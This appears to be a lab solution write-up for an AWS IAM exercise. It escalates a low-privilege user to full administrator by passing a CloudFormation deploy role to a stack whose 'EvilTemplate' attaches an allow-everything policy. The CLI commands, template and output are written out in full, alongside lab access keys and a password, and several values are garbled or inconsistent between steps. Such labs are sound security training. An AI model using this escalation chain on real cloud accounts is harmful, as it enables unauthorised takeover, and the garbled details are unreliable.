

[illegible]

Name	Pass Role: CloudFormation
URL	https://attackdefense.com/challengedetails?cid=2254
Type	AWS Cloud Security : IAM

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

Login URL	https://161176965264.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad5ZM8BthJamvknV
Access Key ID	AKIA5LBXFKCIL3GHVAOF
Secret Access Key	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

Step 2: Configure AWS CLI to use the provided credentials.

Command: aws configure

```
(kali㉿kali)-[~]
$ aws configure
AWS Access Key ID [*****IC4G]: AKIASLBXFKCIL3GHVA0F
AWS Secret Access Key [*****6nq3]: SFu4FPN3PMkn1VwHx1psqqo+ahCZ0mWFFnYyUzY3
Default region name [us-east-1]:
Default output format [None]:
```

Step 3: List AWS managed policies attached to the user.

Commands:

aws iam list-attached-user-policies --user-name student

aws iam list-user-policies --user-name student

```
(kali㉿kali)-[~]
$ aws iam list-attached-user-policies --user-name student
{
  "AttachedPolicies": [
    {
      "PolicyName": "IAMReadOnlyAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
    }
  ]
}
```

```
(kali㉿kali)-[~]
$ aws iam list-user-policies --user-name student
{
  "PolicyNames": [
    "terraform-20210213071506259200000001"
  ]
}
```

Step 4: Try creating a user on the AWS account.

Command: aws iam create-user --user-name Bob

```
(kali㉿kali)-[~]
$ aws iam create-user --user-name Bob

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:iam::161176965264:user/Bob
User on resource: arn:aws:iam::161176965264:user/Bob
```

User creation failed due to insufficient privileges.

Step 5: Check the policy permissions and details.

Command: `aws iam get-user-policy --user-name student --policy-name terraform-20210213071506259200000001`

```
(kali㉿kali)-[~]
$ aws iam get-user-policy --user-name student --policy-name terraform-20210213071506259200000001
{
  "UserName": "student",
  "PolicyName": "terraform-20210213071506259200000001",
  "PolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Action": [
          "iam:PassRole",
          "cloudformation:Describe*",
          "cloudformation:List*",
          "cloudformation:Get*",
          "cloudformation:CreateStack",
          "cloudformation:UpdateStack",
          "cloudformation:ValidateTemplate",
          "cloudformation:CreateUploadBucket"
        ],
        "Effect": "Allow",
        "Resource": "*"
      }
    ]
  }
}
```

The student user can perform various cloudformation operations.

Step 6: List role on AWS account which can be passed to CloudFormation service.

Command: `aws iam list roles`

```
{
  "Path": "/",
  "RoleName": "lab12CFDeployRole",
  "RoleId": "AROASLBXFKCIPP7I2FHMK",
  "Arn": "arn:aws:iam::161176965264:role/lab12CFDeployRole",
  "CreateDate": "2021-02-13T07:15:06+00:00",
  "AssumeRolePolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "Service": "cloudformation.amazonaws.com"
        },
        "Action": "sts:AssumeRole"
      }
    ]
  },
  "MaxSessionDuration": 3600
}
```

Step 7: Check lab12CFDeployRole role details.

Commands:

```
aws iam list-role-policies --role-name lab12CFDeployRole
```

```
aws iam get-role-policy --role-name lab12CFDeployRole --policy-name
```

```
terraform-202102130715062899000000002
```

```
(kali㉿kali)-[~]
$ aws iam list-role-policies --role-name lab12CFDeployRole

{
  "PolicyNames": [
    "terraform-202102130715062899000000002"
  ]
}
```

```
(kali㉿kali)-[~]
$ aws iam get-role-policy --role-name lab12CFDeployRole --policy-name terraform-202102130715062899000000002
{
  "RoleName": "lab12CFDeployRole",
  "PolicyName": "terraform-202102130715062899000000002",
  "PolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Action": [
          "iam:PutUserPolicy"
        ],
        "Effect": "Allow",
        "Resource": "*"
      }
    ]
  }
}
```

Step 8: Create a JSON file with the following content

JSON: new_policy.json

```
{
  "Resources" : {
    "EvilTemplate" : {
      "Type" : "AWS::IAM::Policy",
      "Properties" : {
        "PolicyName" : "admin_policy",
        "PolicyDocument" : {
          "Version" : "2012-10-17",
```

```

        "Statement" : [
            {
                "Effect" : "Allow",
                "Action" : "*",
                "Resource" : "*"
            }
        ],
        "Users" : [
            "student"
        ]
    }
}
}

```

```

(kali㉿kali) - [~]
$ cat new_policy.json
{
    "Resources" : {
        "EvilTemplate" : {
            "Type" : "AWS::IAM::Policy",
            "Properties" : {
                "PolicyName" : "admin_policy",
                "PolicyDocument" : {
                    "Version" : "2012-10-17",
                    "Statement" : [
                        {
                            "Effect" : "Allow",
                            "Action" : "*",
                            "Resource" : "*"
                        }
                    ]
                },
                "Users" : [
                    "student"
                ]
            }
        }
    }
}

```

Step 9: Create a new cloudformation stack on the AWS account with help of created JSON file.

Command: `aws cloudformation create-stack --stack-name ad-stack --template-body file://new_policy.json --capabilities CAPABILITY_NAMED_IAM --role-arn arn:aws:iam::161176965264:role/lab12CFDeployRole`


```
(kali@kali)-[~]
$ aws cloudformation create-stack --stack-name ad-stack --template-body file://new_policy.json --capabilities CAPABILITY_IAM
{
  "StackId": "arn:aws:cloudformation:us-east-1:161176965264:stack/ad-stack/d2330600-6dcb-11eb-bc4d-126979f2f819"
}
```

Step 10: Check the stack information and check the stack execution event status.

Commands:

aws cloudformation describe-stacks --stack-name ad-stack

aws cloudformation describe-stack-events --stack-name ad-stack

```
(kali@kali)-[~]
$ aws cloudformation describe-stacks --stack-name ad-stack
{
  "Stacks": [
    {
      "StackId": "arn:aws:cloudformation:us-east-1:161176965264:stack/ad-stack/d2330600-6dcb-11eb-bc4d-126979f2f819",
      "StackName": "ad-stack",
      "CreationTime": "2021-02-13T07:21:38.852000+00:00",
      "RollbackConfiguration": {},
      "StackStatus": "CREATE_IN_PROGRESS",
      "DisableRollback": false,
      "NotificationARNs": [],
      "Capabilities": [
        "CAPABILITY_NAMED_IAM"
      ],
      "RoleARN": "arn:aws:iam::161176965264:role/lab12CFDeployRole",
    }
  ],
  "Events": [
    {
      "StackId": "arn:aws:cloudformation:us-east-1:161176965264:stack/ad-stack/d2330600-6dcb-11eb-bc4d-126979f2f819",
      "EventId": "EvilTemplate-CREATE_COMPLETE-2021-02-13T07:21:55.709Z",
      "StackName": "ad-stack",
      "LogicalResourceId": "EvilTemplate",
      "PhysicalResourceId": "ad-st-Evil-1JVMDAV0BUKZ2",
      "ResourceType": "AWS::IAM::Policy",
      "Timestamp": "2021-02-13T07:21:55.709000+00:00",
      "ResourceStatus": "CREATE_COMPLETE",
      "ResourceProperties": "{\"PolicyName\":\"admin_policy\",\"PolicyDocument\":{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"\",\"Effect\":\"Allow\",\"Action\":\"*\",\"Resource\":\"*\"}],\"Users\":[\"student\"]}}",
    }
  ]
}
```

Successfully executed stack.

Step 11: Check user policies for the student user.

Command: aws iam list-user-policies --user-name student

```
(kali㉿kali)-[~]
$ aws iam list-user-policies --user-name student
{
  "PolicyNames": [
    "admin_policy",
    "terraform-202102130715062592000000001"
  ]
}
```

Step 12: Check details for admin_policy


Command: aws iam get-user-policy --user-name student --policy-name admin_policy

```
(kali㉿kali)-[~]
$ aws iam get-user-policy --user-name student --policy-name admin_policy
{
  "UserName": "student",
  "PolicyName": "admin_policy",
  "PolicyDocument": {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Action": "*",
        "Resource": "*",
        "Effect": "Allow"
      }
    ]
  }
}
```

Step 13: Try creating a new user on the AWS account to verify Administrator Access.

Command: aws iam create-user --user-name Bob

```
(kali㉿kali)-[~]
$ aws iam create-user --user-name Bob
{
  "User": {
    "Path": "/",
    "UserName": "Bob",
    "UserId": "AIDASLBXFKCINSIAI2UW27",
    "Arn": "arn:aws:iam::161176965264:user/Bob",
    "CreateDate": "2021-02-13T07:22:59+00:00"
  }
}
```

Successfully performed a privileged operation.

References:

1. AWS CLI (<https://docs.aws.amazon.com/cli/latest/reference/>)